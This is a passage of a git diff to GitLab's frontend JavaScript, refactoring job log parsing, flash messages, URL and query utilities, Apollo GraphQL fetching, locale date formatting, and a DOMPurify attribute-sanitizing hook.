+ } else if (line.section && !line.section_duration) {
+ // We're inside a collapsible section and want to parse a standard line
+ if (currentHeader?.index) {
+ // If the current section header is only an index, add the line as part of the lines
+ // array of the current collapsible section
+ parsedLines[currentHeader.index].lines.push(parseLine(line, currentLine));
+ } else {
+ // Otherwise add it to the innermost collapsible section lines array
+ currentHeader.lines.push(parseLine(line, currentLine));
+ }
+ } else if (line.section && line.section_duration) {
+ // NOTE: This marks the end of a section_header
+ const previousSection = sectionsQueue.pop();
+
+ // Add the duration to section header
+ // If at the root, just push the end to the current parsedLine,
+ // otherwise, push it to the previous sections queue
+ if (currentHeader?.index) {
+ parsedLines[currentHeader.index].line.section_duration = line.section_duration;
+ isPreviousLineHeader = false;
+ currentHeader = null;
+ } else {
+ currentHeader.line.section_duration = line.section_duration;
+
+ if (previousSection && previousSection?.index) {
+ // Is the previous section on root?
+ parsedLines[previousSection.index].lines.push(currentHeader);
+ } else if (previousSection && !previousSection?.index) {
+ previousSection.lines.push(currentHeader);
+ }
+
+ currentHeader = previousSection;
+ }
+ } else {
+ parsedLines.push(parseLine(line, currentLine));
+ }
+ }
+
+ return {
+ parsedLines,
+ auxiliaryPartialTraceHelpers: {
+ isPreviousLineHeader,
+ currentHeader,
+ sectionsQueue,
+ prevLineCount: lines.length,
+ },
+ };
+};
+
/**
* Finds the repeated offset, removes the old one
*
@@ -177,5 +248,5 @@ export const findOffsetAndRemove = (newLog = [], oldParsed = []) => {
export const updateIncrementalTrace = (newLog = [], oldParsed = []) => {
const parsedLog = findOffsetAndRemove(newLog, oldParsed);
- return logLinesParser(newLog, parsedLog);
+ return logLinesParserLegacy(newLog, parsedLog);
};
diff --git a/app/assets/javascripts/jobs/utils.js b/app/assets/javascripts/jobs/utils.js
index 122f23a5bb5..1ccecf3eb53 100644
--- a/app/assets/javascripts/jobs/utils.js
+++ b/app/assets/javascripts/jobs/utils.js
@@ -3,10 +3,10 @@
* https?:\/\/
*
* up until a disallowed character or whitespace
- * [^"<>\\^`{|}\s]+
+ * [^"<>()\\^`{|}\s]+
*
* and a disallowed character or whitespace, including non-ending chars .,:;!?
- * [^"<>\\^`{|}\s.,:;!?]
+ * [^"<>()\\^`{|}\s.,:;!?]
*/
-export const linkRegex = /(https?:\/\/[^"<>\\^`{|}\s]+[^"<>\\^`{|}\s.,:;!?])/g;
+export const linkRegex = /(https?:\/\/[^"<>()\\^`{|}\s]+[^"<>()\\^`{|}\s.,:;!?])/g;
export default { linkRegex };
diff --git a/app/assets/javascripts/label_manager.js b/app/assets/javascripts/label_manager.js
index 2a020a66fd2..e0068edbb9b 100644
--- a/app/assets/javascripts/label_manager.js
+++ b/app/assets/javascripts/label_manager.js
@@ -3,7 +3,7 @@
import $ from 'jquery';
import Sortable from 'sortablejs';
import { dispose } from '~/tooltips';
-import { deprecatedCreateFlash as flash } from './flash';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { __ } from './locale';
@@ -111,7 +111,11 @@ export default class LabelManager {
}
onPrioritySortUpdate() {
- this.savePrioritySort().catch(() => flash(this.errorMessage));
+ this.savePrioritySort().catch(() =>
+ createFlash({
+ message: this.errorMessage,
+ }),
+ );
}
savePrioritySort() {
@@ -123,7 +127,9 @@ export default class LabelManager {
rollbackLabelPosition($label, originalAction) {
const action = originalAction === 'remove' ? 'add' : 'remove';
this.toggleLabelPriority($label, action, false);
- flash(this.errorMessage);
+ createFlash({
+ message: this.errorMessage,
+ });
}
getSortedLabelsIds() {
diff --git a/app/assets/javascripts/labels_select.js b/app/assets/javascripts/labels_select.js
index fb88e48c9a6..a62ab301227 100644
--- a/app/assets/javascripts/labels_select.js
+++ b/app/assets/javascripts/labels_select.js
@@ -5,11 +5,11 @@
import $ from 'jquery';
import { difference, isEqual, escape, sortBy, template, union } from 'lodash';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import IssuableBulkUpdateActions from '~/issuable_bulk_update_sidebar/issuable_bulk_update_actions';
import { isScopedLabel } from '~/lib/utils/common_utils';
import boardsStore from './boards/stores/boards_store';
import CreateLabelDropdown from './create_label';
-import { deprecatedCreateFlash as flash } from './flash';
-import IssuableBulkUpdateActions from './issuable_bulk_update_actions';
+import createFlash from './flash';
import axios from './lib/utils/axios_utils';
import { sprintf, __ } from './locale';
@@ -148,7 +148,11 @@ export default class LabelsSelect {
container: 'body',
});
})
- .catch(() => flash(__('Error saving label update.')));
+ .catch(() =>
+ createFlash({
+ message: __('Error saving label update.'),
+ }),
+ );
};
initDeprecatedJQueryDropdown($dropdown, {
showMenuAbove,
@@ -183,7 +187,11 @@ export default class LabelsSelect {
$dropdown.data('deprecatedJQueryDropdown').positionMenuAbove();
}
})
- .catch(() => flash(__('Error fetching labels.')));
+ .catch(() =>
+ createFlash({
+ message: __('Error fetching labels.'),
+ }),
+ );
},
renderRow(label) {
let colorEl;
diff --git a/app/assets/javascripts/lib/dompurify.js b/app/assets/javascripts/lib/dompurify.js
index 76624c81ed5..4357918672d 100644
--- a/app/assets/javascripts/lib/dompurify.js
+++ b/app/assets/javascripts/lib/dompurify.js
@@ -7,6 +7,8 @@ const defaultConfig = {
ADD_TAGS: ['use'],
};
+const forbiddenDataAttrs = ['data-remote', 'data-url', 'data-type', 'data-method'];
+
// Only icons urls from `gon` are allowed
const getAllowedIconUrls = (gon = window.gon) =>
[gon.sprite_file_icons, gon.sprite_icons].filter(Boolean);
@@ -44,10 +46,19 @@ const sanitizeSvgIcon = (node) => {
removeUnsafeHref(node, 'xlink:href');
};
+const sanitizeHTMLAttributes = (node) => {
+ forbiddenDataAttrs.forEach((attr) => {
+ if (node.hasAttribute(attr)) {
+ node.removeAttribute(attr);
+ }
+ });
+};
+
addHook('afterSanitizeAttributes', (node) => {
if (node.tagName.toLowerCase() === 'use') {
sanitizeSvgIcon(node);
}
+ sanitizeHTMLAttributes(node);
});
export const sanitize = (val, config = defaultConfig) => dompurifySanitize(val, config);
diff --git a/app/assets/javascripts/lib/graphql.js b/app/assets/javascripts/lib/graphql.js
index cec689a44ca..0804213cafa 100644
--- a/app/assets/javascripts/lib/graphql.js
+++ b/app/assets/javascripts/lib/graphql.js
@@ -2,12 +2,13 @@ import { InMemoryCache } from 'apollo-cache-inmemory';
import { ApolloClient } from 'apollo-client';
import { ApolloLink } from 'apollo-link';
import { BatchHttpLink } from 'apollo-link-batch-http';
-import { createHttpLink } from 'apollo-link-http';
+import { HttpLink } from 'apollo-link-http';
import { createUploadLink } from 'apollo-upload-client';
import ActionCableLink from '~/actioncable_link';
import { apolloCaptchaLink } from '~/captcha/apollo_captcha_link';
import { StartupJSLink } from '~/lib/utils/apollo_startup_js_link';
import csrf from '~/lib/utils/csrf';
+import { objectToQuery, queryToObject } from '~/lib/utils/url_utility';
import PerformanceBarService from '~/performance_bar/services/performance_bar_service';
export const fetchPolicies = {
@@ -18,6 +19,31 @@ export const fetchPolicies = {
CACHE_ONLY: 'cache-only',
};
+export const stripWhitespaceFromQuery = (url, path) => {
+ /* eslint-disable-next-line no-unused-vars */
+ const [_, params] = url.split(path);
+
+ if (!params) {
+ return url;
+ }
+
+ const decoded = decodeURIComponent(params);
+ const paramsObj = queryToObject(decoded);
+
+ if (!paramsObj.query) {
+ return url;
+ }
+
+ const stripped = paramsObj.query
+ .split(/\s+|\n/)
+ .join(' ')
+ .trim();
+ paramsObj.query = stripped;
+
+ const reassembled = objectToQuery(paramsObj);
+ return `${path}?${reassembled}`;
+};
+
export default (resolvers = {}, config = {}) => {
const {
assumeImmutableResults,
@@ -58,10 +84,31 @@ export default (resolvers = {}, config = {}) => {
});
});
+ /*
+ This custom fetcher intervention is to deal with an issue where we are using GET to access
+ eTag polling, but Apollo Client adds excessive whitespace, which causes the
+ request to fail on certain self-hosted stacks. When we can move
+ to subscriptions entirely or can land an upstream PR, this can be removed.
+
+ Related links
+ Bug report: https://gitlab.com/gitlab-org/gitlab/-/issues/329895
+ Moving to subscriptions: https://gitlab.com/gitlab-org/gitlab/-/issues/332485
+ Apollo Client issue: https://github.com/apollographql/apollo-feature-requests/issues/182
+ */
+
+ const fetchIntervention = (url, options) => {
+ return fetch(stripWhitespaceFromQuery(url, uri), options);
+ };
+
+ const requestLink = ApolloLink.split(
+ () => useGet,
+ new HttpLink({ ...httpOptions, fetch: fetchIntervention }),
+ new BatchHttpLink(httpOptions),
+ );
+
const uploadsLink = ApolloLink.split(
(operation) => operation.getContext().hasUpload || operation.getContext().isSingleRequest,
createUploadLink(httpOptions),
- useGet ? createHttpLink(httpOptions) : new BatchHttpLink(httpOptions),
);
const performanceBarLink = new ApolloLink((operation, forward) => {
@@ -99,6 +146,7 @@ export default (resolvers = {}, config = {}) => {
new StartupJSLink(),
apolloCaptchaLink,
uploadsLink,
+ requestLink,
]),
);
diff --git a/app/assets/javascripts/lib/utils/axios_utils.js b/app/assets/javascripts/lib/utils/axios_utils.js
index 204c84b879e..0a26f78e253 100644
--- a/app/assets/javascripts/lib/utils/axios_utils.js
+++ b/app/assets/javascripts/lib/utils/axios_utils.js
@@ -1,4 +1,5 @@
import axios from 'axios';
+import { registerCaptchaModalInterceptor } from '~/captcha/captcha_modal_axios_interceptor';
import setupAxiosStartupCalls from './axios_startup_calls';
import csrf from './csrf';
import suppressAjaxErrorsDuringNavigation from './suppress_ajax_errors_during_navigation';
@@ -41,6 +42,8 @@ axios.interceptors.response.use(
(err) => suppressAjaxErrorsDuringNavigation(err, isUserNavigating),
);
+registerCaptchaModalInterceptor(axios);
+
export default axios;
/**
diff --git a/app/assets/javascripts/lib/utils/common_utils.js b/app/assets/javascripts/lib/utils/common_utils.js
index 8666d325c1b..8a051041fbe 100644
--- a/app/assets/javascripts/lib/utils/common_utils.js
+++ b/app/assets/javascripts/lib/utils/common_utils.js
@@ -11,31 +11,10 @@ import { isObject } from './type_utility';
import { getLocationHash } from './url_utility';
export const getPagePath = (index = 0) => {
- const page = $('body').attr('data-page') || '';
-
+ const { page = '' } = document?.body?.dataset;
return page.split(':')[index];
};
-export const getDashPath = (path = window.location.pathname) => path.split('/-/')[1] || null;
-
-export const isInGroupsPage = () => getPagePath() === 'groups';
-
-export const isInProjectPage = () => getPagePath() === 'projects';
-
-export const getProjectSlug = () => {
- if (isInProjectPage()) {
- return $('body').data('project');
- }
- return null;
-};
-
-export const getGroupSlug = () => {
- if (isInProjectPage() || isInGroupsPage()) {
- return $('body').data('group');
- }
- return null;
-};
-
export const checkPageAndAction = (page, action) => {
const pagePath = getPagePath(1);
const actionPath = getPagePath(2);
@@ -49,6 +28,8 @@ export const isInDesignPage = () => checkPageAndAction('issues', 'designs');
export const isInMRPage = () => checkPageAndAction('merge_requests', 'show');
export const isInEpicPage = () => checkPageAndAction('epics', 'show');
+export const getDashPath = (path = window.location.pathname) => path.split('/-/')[1] || null;
+
export const getCspNonceValue = () => {
const metaTag = document.querySelector('meta[name=csp-nonce]');
return metaTag && metaTag.content;
@@ -162,53 +143,6 @@ export const parseUrlPathname = (url) => {
return parsedUrl.pathname.charAt(0) === '/' ? parsedUrl.pathname : `/${parsedUrl.pathname}`;
};
-const splitPath = (path = '') => path.replace(/^\?/, '').split('&');
-
-export const urlParamsToArray = (path = '') =>
- splitPath(path)
- .filter((param) => param.length > 0)
- .map((param) => {
- const split = param.split('=');
- return [decodeURI(split[0]), split[1]].join('=');
- });
-
-export const getUrlParamsArray = () => urlParamsToArray(window.location.search);
-
-/**
- * Accepts encoding string which includes query params being
- * sent to URL.
- *
- * @param {string} path Query param string
- *
- * @returns {object} Query params object containing key-value pairs
- * with both key and values decoded into plain string.
- */
-export const urlParamsToObject = (path = '') =>
- splitPath(path).reduce((dataParam, filterParam) => {
- if (filterParam === '') {
- return dataParam;
- }
-
- const data = dataParam;
- let [key, value] = filterParam.split('=');
- key = /%\w+/g.test(key) ? decodeURIComponent(key) : key;
- const isArray = key.includes('[]');
- key = key.replace('[]', '');
- value = decodeURIComponent(value.replace(/\+/g, ' '));
-
- if (isArray) {
- if (!data[key]) {
- data[key] = [];
- }
-
- data[key].push(value);
- } else {
- data[key] = value;
- }
-
- return data;
- }, {});
-
export const isMetaKey = (e) => e.metaKey || e.ctrlKey || e.altKey || e.shiftKey;
// Identify following special clicks
@@ -301,21 +235,6 @@ export const debounceByAnimationFrame = (fn) => {
};
};
-/**
- this will take in the `name` of the param you want to parse in the url
- if the name does not exist this function will return `null`
- otherwise it will return the value of the param key provided
-*/
-export const getParameterByName = (name, urlToParse) => {
- const url = urlToParse || window.location.href;
- const parsedName = name.replace(/[[\]]/g, '\\$&');
- const regex = new RegExp(`[?&]${parsedName}(=([^&#]*)|&|#|$)`);
- const results = regex.exec(url);
- if (!results) return null;
- if (!results[2]) return '';
- return decodeURIComponent(results[2].replace(/\+/g, ' '));
-};
-
const handleSelectedRange = (range, restrictToNode) => {
// Make sure this range is within the restricting container
if (restrictToNode && !range.intersectsNode(restrictToNode)) return null;
@@ -390,8 +309,8 @@ export const insertText = (target, text) => {
};
/**
- this will take in the headers from an API response and normalize them
- this way we don't run into production issues when nginx gives us lowercased header keys
+ this will take in the headers from an API response and normalize them
+ this way we don't run into production issues when nginx gives us lowercased header keys
*/
export const normalizeHeaders = (headers) => {
const upperCaseHeaders = {};
@@ -418,39 +337,6 @@ export const parseIntPagination = (paginationInformation) => ({
previousPage: parseInt(paginationInformation['X-PREV-PAGE'], 10),
});
-/**
- * Given a string of query parameters creates an object.
- *
- * @example
- * `scope=all&page=2` -> { scope: 'all', page: '2'}
- * `scope=all` -> { scope: 'all' }
- * ``-> {}
- * @param {String} query
- * @returns {Object}
- */
-export const parseQueryStringIntoObject = (query = '') => {
- if (query === '') return {};
-
- return query.split('&').reduce((acc, element) => {
- const val = element.split('=');
- Object.assign(acc, {
- [val[0]]: decodeURIComponent(val[1]),
- });
- return acc;
- }, {});
-};
-
-/**
- * Converts object with key-value pairs
- * into query-param string
- *
- * @param {Object} params
- */
-export const objectToQueryString = (params = {}) =>
- Object.keys(params)
- .map((param) => `${param}=${params[param]}`)
- .join('&');
-
export const buildUrlWithCurrentLocation = (param) => {
if (param) return `${window.location.pathname}${param}`;
@@ -789,7 +675,18 @@ export const searchBy = (query = '', searchSpace = {}) => {
* @param {Object} label
* @returns Boolean
*/
-export const isScopedLabel = ({ title = '' }) => title.indexOf('::') !== -1;
+export const isScopedLabel = ({ title = '' } = {}) => title.indexOf('::') !== -1;
+
+/**
+ * Returns the base value of the scoped label
+ *
+ * Expected Label to be an Object with `title` as a key:
+ * { title: 'LabelTitle', ...otherProperties };
+ *
+ * @param {Object} label
+ * @returns String
+ */
+export const scopedLabelKey = ({ title = '' }) => isScopedLabel({ title }) && title.split('::')[0];
// Methods to set and get Cookie
export const setCookie = (name, value) => Cookies.set(name, value, { expires: 365 });
@@ -821,3 +718,5 @@ export const isFeatureFlagEnabled = (flag) => window.gon.features?.[flag];
* @returns {Array[String]} Converted array
*/
export const convertArrayToCamelCase = (array) => array.map((i) => convertToCamelCase(i));
+
+export const isLoggedIn = () => Boolean(window.gon?.current_user_id);
diff --git a/app/assets/javascripts/lib/utils/constants.js b/app/assets/javascripts/lib/utils/constants.js
index 2d4765f54b9..e41de72ded4 100644
--- a/app/assets/javascripts/lib/utils/constants.js
+++ b/app/assets/javascripts/lib/utils/constants.js
@@ -1,4 +1,5 @@
export const BYTES_IN_KIB = 1024;
+export const DEFAULT_DEBOUNCE_AND_THROTTLE_MS = 250;
export const HIDDEN_CLASS = 'hidden';
export const TRUNCATE_WIDTH_DEFAULT_WIDTH = 80;
export const TRUNCATE_WIDTH_DEFAULT_FONT_SIZE = 12;
diff --git a/app/assets/javascripts/lib/utils/datetime/timeago_utility.js b/app/assets/javascripts/lib/utils/datetime/timeago_utility.js
index 512b1f079a1..d68682ebed1 100644
--- a/app/assets/javascripts/lib/utils/datetime/timeago_utility.js
+++ b/app/assets/javascripts/lib/utils/datetime/timeago_utility.js
@@ -1,10 +1,7 @@
-import $ from 'jquery';
import * as timeago from 'timeago.js';
-import { languageCode, s__ } from '../../../locale';
+import { languageCode, s__, createDateTimeFormat } from '../../../locale';
import { formatDate } from './date_format_utility';
-window.timeago = timeago;
-
/**
* Timeago uses underscores instead of dashes to separate language from country code.
*
@@ -76,24 +73,44 @@ const memoizedLocale = () => {
timeago.register(timeagoLanguageCode, memoizedLocale());
timeago.register(`${timeagoLanguageCode}-remaining`, memoizedLocaleRemaining());
-export const getTimeago = () => timeago;
+let memoizedFormatter = null;
+
+function setupAbsoluteFormatter() {
+ if (memoizedFormatter === null) {
+ const formatter = createDateTimeFormat({
+ dateStyle: 'medium',
+ timeStyle: 'short',
+ });
+
+ memoizedFormatter = {
+ format(date) {
+ return formatter.format(date instanceof Date ? date : new Date(date));
+ },
+ };
+ }
+ return memoizedFormatter;
+}
+
+export const getTimeago = () =>
+ window.gon?.time_display_relative === false ? setupAbsoluteFormatter() : timeago;
/**
* For the given elements, sets a tooltip with a formatted date.
- * @param {JQuery} $timeagoEls
- * @param {Boolean} setTimeago
+ * @param {Array<Node>|NodeList} elements
+ * @param {Boolean} updateTooltip
*/
-export const localTimeAgo = ($timeagoEls, setTimeago = true) => {
- $timeagoEls.each((i, el) => {
- $(el).text(timeago.format($(el).attr('datetime'), timeagoLanguageCode));
+export const localTimeAgo = (elements, updateTooltip = true) => {
+ const { format } = getTimeago();
+ elements.forEach((el) => {
+ el.innerText = format(el.dateTime, timeagoLanguageCode);
});
- if (!setTimeago) {
+ if (!updateTooltip) {
return;
}
function addTimeAgoTooltip() {
- $timeagoEls.each((i, el) => {
+ elements.forEach((el) => {
// Recreate with custom template
el.setAttribute('title', formatDate(el.dateTime));
});
@@ -116,9 +133,3 @@ export const timeFor = (time, expiredLabel) => {
}
return timeago.format(time, `${timeagoLanguageCode}-remaining`).trim();
};
-
-window.gl = window.gl || {};
-window.gl.utils = {
- ...(window.gl.utils || {}),
- localTimeAgo,
-};
diff --git a/app/assets/javascripts/lib/utils/finite_state_machine.js b/app/assets/javascripts/lib/utils/finite_state_machine.js
new file mode 100644
index 00000000000..99eeb7cb947
--- /dev/null
+++ b/app/assets/javascripts/lib/utils/finite_state_machine.js
@@ -0,0 +1,101 @@
+/**
+ * @module finite_state_machine
+ */
+
+/**
+ * The states to be used with state machine definitions
+ * @typedef {Object} FiniteStateMachineStates
+ * @property {!Object} ANY_KEY - Any key that maps to a known state
+ * @property {!Object} ANY_KEY.on - A dictionary of transition events for the ANY_KEY state that map to a different state
+ * @property {!String} ANY_KEY.on.ANY_EVENT - The resulting state that the machine should end at
+ */
+
+/**
+ * An object whose minimum definition defined here can be used to guard UI state transitions
+ * @typedef {Object} StatelessFiniteStateMachineDefinition
+ * @property {FiniteStateMachineStates} states
+ */
+
+/**
+ * An object whose minimum definition defined here can be used to create a live finite state machine
+ * @typedef {Object} LiveFiniteStateMachineDefinition
+ * @property {String} initial - The initial state for this machine
+ * @property {FiniteStateMachineStates} states
+ */
+
+/**
+ * An object that allows interacting with a stateful, live finite state machine
+ * @typedef {Object} LiveStateMachine
+ * @property {String} value - The current state of this machine
+ * @property {Object} states - The states from when the machine definition was constructed
+ * @property {Function} is - {@link module:finite_state_machine~is LiveStateMachine.is}
+ * @property {Function} send - {@link module:finite_state_machine~send LiveStatemachine.send}
+ */
+
+// This is not user-facing functionality
+/* eslint-disable @gitlab/require-i18n-strings */
+
+function hasKeys(object, keys) {
+ return keys.every((key) => Object.keys(object).includes(key));
+}
+
+/**
+ * Get an updated state given a machine definition, a starting state, and a transition event
+ * @param {StatelessFiniteStateMachineDefinition} definition
+ * @param {String} current - The current known state
+ * @param {String} event - A transition event
+ * @returns {String} A state value
+ */
+export function transition(definition, current, event) {
+ return definition?.states?.[current]?.on[event] || current;
+}
+
+function startMachine({ states, initial } = {}) {
+ let current = initial;
+
+ return {
+ /**
+ * A convenience function to test arbitrary input against the machine's current state
+ * @param {String} testState - The value to test against the machine's current state
+ */
+ is(testState) {
+ return current === testState;
+ },
+ /**
+ * A function to transition the live state machine using an arbitrary event
+ * @param {String} event - The event to send to the machine
+ * @returns {String} A string representing the current state. Note this may not have changed if the current state + transition event combination are not valid.
+ */
+ send(event) {
+ current = transition({ states }, current, event);
+
+ return current;
+ },
+ get value() {
+ return current;
+ },
+ set value(forcedState) {
+ current = forcedState;
+ },
+ states,
+ };
+}
+
+/**
+ * Create a live state machine
+ * @param {LiveFiniteStateMachineDefinition} definition
+ * @returns {LiveStateMachine} A live state machine
+ */
+export function machine(definition) {
+ if (!hasKeys(definition, ['initial', 'states'])) {
+ throw new Error(
+ 'A state machine must have an initial state (`.initial`) and a dictionary of possible states (`.states`)',
+ );
+ } else if (!hasKeys(definition.states, [definition.initial])) {
+ throw new Error(
+ `Cannot initialize the state machine to state '${definition.initial}'. Is that one of the machine's defined states?`,
+ );
+ } else {
+ return startMachine(definition);
+ }
+}
diff --git a/app/assets/javascripts/lib/utils/text_utility.js b/app/assets/javascripts/lib/utils/text_utility.js
index eaf396a7a59..5ee00464a8b 100644
--- a/app/assets/javascripts/lib/utils/text_utility.js
+++ b/app/assets/javascripts/lib/utils/text_utility.js
@@ -421,3 +421,61 @@ export const isValidSha1Hash = (str) => {
export function insertFinalNewline(content, endOfLine = '\n') {
return content.slice(-endOfLine.length) !== endOfLine ? `${content}${endOfLine}` : content;
}
+
+export const markdownConfig = {
+ // allowedTags from GitLab's inline HTML guidelines
+ // https://docs.gitlab.com/ee/user/markdown.html#inline-html
+ ALLOWED_TAGS: [
+ 'a',
+ 'abbr',
+ 'b',
+ 'blockquote',
+ 'br',
+ 'code',
+ 'dd',
+ 'del',
+ 'div',
+ 'dl',
+ 'dt',
+ 'em',
+ 'h1',
+ 'h2',
+ 'h3',
+ 'h4',
+ 'h5',
+ 'h6',
+ 'hr',
+ 'i',
+ 'img',
+ 'ins',
+ 'kbd',
+ 'li',
+ 'ol',
+ 'p',
+ 'pre',
+ 'q',
+ 'rp',
+ 'rt',
+ 'ruby',
+ 's',
+ 'samp',
+ 'span',
+ 'strike',
+ 'strong',
+ 'sub',
+ 'summary',
+ 'sup',
+ 'table',
+ 'tbody',
+ 'td',
+ 'tfoot',
+ 'th',
+ 'thead',
+ 'tr',
+ 'tt',
+ 'ul',
+ 'var',
+ ],
+ ALLOWED_ATTR: ['class', 'style', 'href', 'src'],
+ ALLOW_DATA_ATTR: false,
+};
diff --git a/app/assets/javascripts/lib/utils/url_utility.js b/app/assets/javascripts/lib/utils/url_utility.js
index d68b41b7f7a..7922ff22a70 100644
--- a/app/assets/javascripts/lib/utils/url_utility.js
+++ b/app/assets/javascripts/lib/utils/url_utility.js
@@ -209,11 +209,7 @@ export function removeParams(params, url = window.location.href, skipEncoding =
return `${root}${writableQuery}${writableFragment}`;
}
-export function getLocationHash(url = window.location.href) {
- const hashIndex = url.indexOf('#');
-
- return hashIndex === -1 ? null : url.substring(hashIndex + 1);
-}
+export const getLocationHash = (hash = window.location.hash) => hash.split('#')[1];
/**
* Returns a boolean indicating whether the URL hash contains the given string value
@@ -409,6 +405,55 @@ export function getWebSocketUrl(path) {
return `${getWebSocketProtocol()}//${joinPaths(window.location.host, path)}`;
}
+const splitPath = (path = '') => path.replace(/^\?/, '').split('&');
+
+export const urlParamsToArray = (path = '') =>
+ splitPath(path)
+ .filter((param) => param.length > 0)
+ .map((param) => {
+ const split = param.split('=');
+ return [decodeURI(split[0]), split[1]].join('=');
+ });
+
+export const getUrlParamsArray = () => urlParamsToArray(window.location.search);
+
+/**
+ * Accepts encoding string which includes query params being
+ * sent to URL.
+ *
+ * @param {string} path Query param string
+ *
+ * @returns {object} Query params object containing key-value pairs
+ * with both key and values decoded into plain string.
+ *
+ * @deprecated Please use `queryToObject(query, { gatherArrays: true });` instead. See https://gitlab.com/gitlab-org/gitlab/-/issues/328845
+ */
+export const urlParamsToObject = (path = '') =>
+ splitPath(path).reduce((dataParam, filterParam) => {
+ if (filterParam === '') {
+ return dataParam;
+ }
+
+ const data = dataParam;
+ let [key, value] = filterParam.split('=');
+ key = /%\w+/g.test(key) ? decodeURIComponent(key) : key;
+ const isArray = key.includes('[]');
+ key = key.replace('[]', '');
+ value = decodeURIComponent(value.replace(/\+/g, ' '));
+
+ if (isArray) {
+ if (!data[key]) {
+ data[key] = [];
+ }
+
+ data[key].push(value);
+ } else {
+ data[key] = value;
+ }
+
+ return data;
+ }, {});
+
/**
* Convert search query into an object
*
@@ -450,17 +495,30 @@ export function queryToObject(query, { gatherArrays = false, legacySpacesDecode
}
/**
+ * This function accepts the `name` of the param to parse in the url
+ * if the name does not exist this function will return `null`
+ * otherwise it will return the value of the param key provided
+ *
+ * @param {String} name
+ * @param {String?} urlToParse
+ * @returns value of the parameter as string
+ */
+export const getParameterByName = (name, query = window.location.search) => {
+ return queryToObject(query)[name] || null;
+};
+
+/**
* Convert search query object back into a search query
*
- * @param {Object} obj that needs to be converted
+ * @param {Object?} params that needs to be converted
* @returns {String}
*
* ex: {one: 1, two: 2} into "one=1&two=2"
*
*/
-export function objectToQuery(obj) {
- return Object.keys(obj)
- .map((k) => `${encodeURIComponent(k)}=${encodeURIComponent(obj[k])}`)
+export function objectToQuery(params = {}) {
+ return Object.keys(params)
+ .map((k) => `${encodeURIComponent(k)}=${encodeURIComponent(params[k])}`)
.join('&');
}
diff --git a/app/assets/javascripts/line_highlighter.js b/app/assets/javascripts/line_highlighter.js
index aaa8ee40966..a1f59aa1b54 100644
--- a/app/assets/javascripts/line_highlighter.js
+++ b/app/assets/javascripts/line_highlighter.js
@@ -117,8 +117,8 @@ LineHighlighter.prototype.clearHighlight = function () {
//
// Returns an Array
LineHighlighter.prototype.hashToRange = function (hash) {
- // ?L(\d+)(?:-(\d+))?$/)
- const matches = hash.match(/^#?L(\d+)(?:-(\d+))?$/);
+ // ?L(\d+)(?:-L?(\d+))?$/)
+ const matches = hash.match(/^#?L(\d+)(?:-L?(\d+))?$/);
if (matches && matches.length) {
const first = parseInt(matches[1], 10);
const last = matches[2] ? parseInt(matches[2], 10) : null;
diff --git a/app/assets/javascripts/locale/index.js b/app/assets/javascripts/locale/index.js
index 10518fa73d9..ad01da2eb17 100644
--- a/app/assets/javascripts/locale/index.js
+++ b/app/assets/javascripts/locale/index.js
@@ -2,7 +2,10 @@ import Jed from 'jed';
import ensureSingleLine from './ensure_single_line';
import sprintf from './sprintf';
-const languageCode = () => document.querySelector('html').getAttribute('lang') || 'en';
+const GITLAB_FALLBACK_LANGUAGE = 'en';
+
+const languageCode = () =>
+ document.querySelector('html').getAttribute('lang') || GITLAB_FALLBACK_LANGUAGE;
const locale = new Jed(window.translations || {});
delete window.translations;
@@ -51,12 +54,52 @@ const pgettext = (keyOrContext, key) => {
};
/**
+ * Filters navigator languages by the set GitLab language.
+ *
+ * This allows us to decide better what a user wants as a locale, for using with the Intl browser APIs.
+ * If they have set their GitLab to a language, it will check whether `navigator.languages` contains matching ones.
+ * This function always adds `en` as a fallback in order to have date renders if all fails before it.
+ *
+ * - Example one: GitLab language is `en` and browser languages are:
+ * `['en-GB', 'en-US']`. This function returns `['en-GB', 'en-US', 'en']` as
+ * the preferred locales, the Intl APIs would try to format first as British English,
+ * if that isn't available US or any English.
+ * - Example two: GitLab language is `en` and browser languages are:
+ * `['de-DE', 'de']`. This function returns `['en']`, so the Intl APIs would prefer English
+ * formatting in order to not have German dates mixed with English GitLab UI texts.
+ * If the user wants for example British English formatting (24h, etc),
+ * they could set their browser languages to `['de-DE', 'de', 'en-GB']`.
+ * - Example three: GitLab language is `de` and browser languages are `['en-US', 'en']`.
+ * This function returns `['de', 'en']`, aligning German dates with the chosen translation of GitLab.
+ *
+ * @returns {string[]}
+ */
+export const getPreferredLocales = () => {
+ const gitlabLanguage = languageCode();
+ // The GitLab language may or may not contain a country code,
+ // so we create the short version as well, e.g. de-AT => de
+ const lang = gitlabLanguage.substring(0, 2);
+ const locales = navigator.languages.filter((l) => l.startsWith(lang));
+ if (!locales.includes(gitlabLanguage)) {
+ locales.push(gitlabLanguage);
+ }
+ if (!locales.includes(lang)) {
+ locales.push(lang);
+ }
+ if (!locales.includes(GITLAB_FALLBACK_LANGUAGE)) {
+ locales.push(GITLAB_FALLBACK_LANGUAGE);
+ }
+ return locales;
+};
+
+/**
Creates an instance of Intl.DateTimeFormat for the current locale.
@param formatOptions for available options, please see https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/DateTimeFormat
@returns {Intl.DateTimeFormat}
*/
-const createDateTimeFormat = (formatOptions) => Intl.DateTimeFormat(languageCode(), formatOptions);
+const createDateTimeFormat = (formatOptions) =>
+ Intl.DateTimeFormat(getPreferredLocales(), formatOptions);
/**
* Formats a number as a string using `toLocaleString`.
diff --git a/app/assets/javascripts/logs/components/environment_logs.vue b/app/assets/javascripts/logs/components/environment_logs.vue
index 39041aa1447..3db9fa01629 100644
--- a/app/assets/javascripts/logs/components/environment_logs.vue
+++ b/app/assets/javascripts/logs/components/environment_logs.vue
@@ -29,9 +29,6 @@ export default {
LogAdvancedFilters,
LogControlButtons,
},
- filters: {
- formatDate,
- },
props: {
environmentName: {
type: String,
@@ -114,6 +111,7 @@ export default {
const { scrollTop = 0, clientHeight = 0, scrollHeight = 0 } = target;
this.scrollDownButtonDisabled = scrollTop + clientHeight === scrollHeight;
}, 200),
+ formatDate,
},
};
</script>
@@ -229,8 +227,8 @@ export default {
<div ref="logFooter" class="py-2 px-3 text-white bg-secondary-900">
<gl-sprintf :message="s__('Environments|Logs from %{start} to %{end}.')">
- <template #start>{{ timeRange.current.start | formatDate }}</template>
- <template #end>{{ timeRange.current.end | formatDate }}</template>
+ <template #start>{{ formatDate(timeRange.current.start) }}</template>
+ <template #end>{{ formatDate(timeRange.current.end) }}</template>
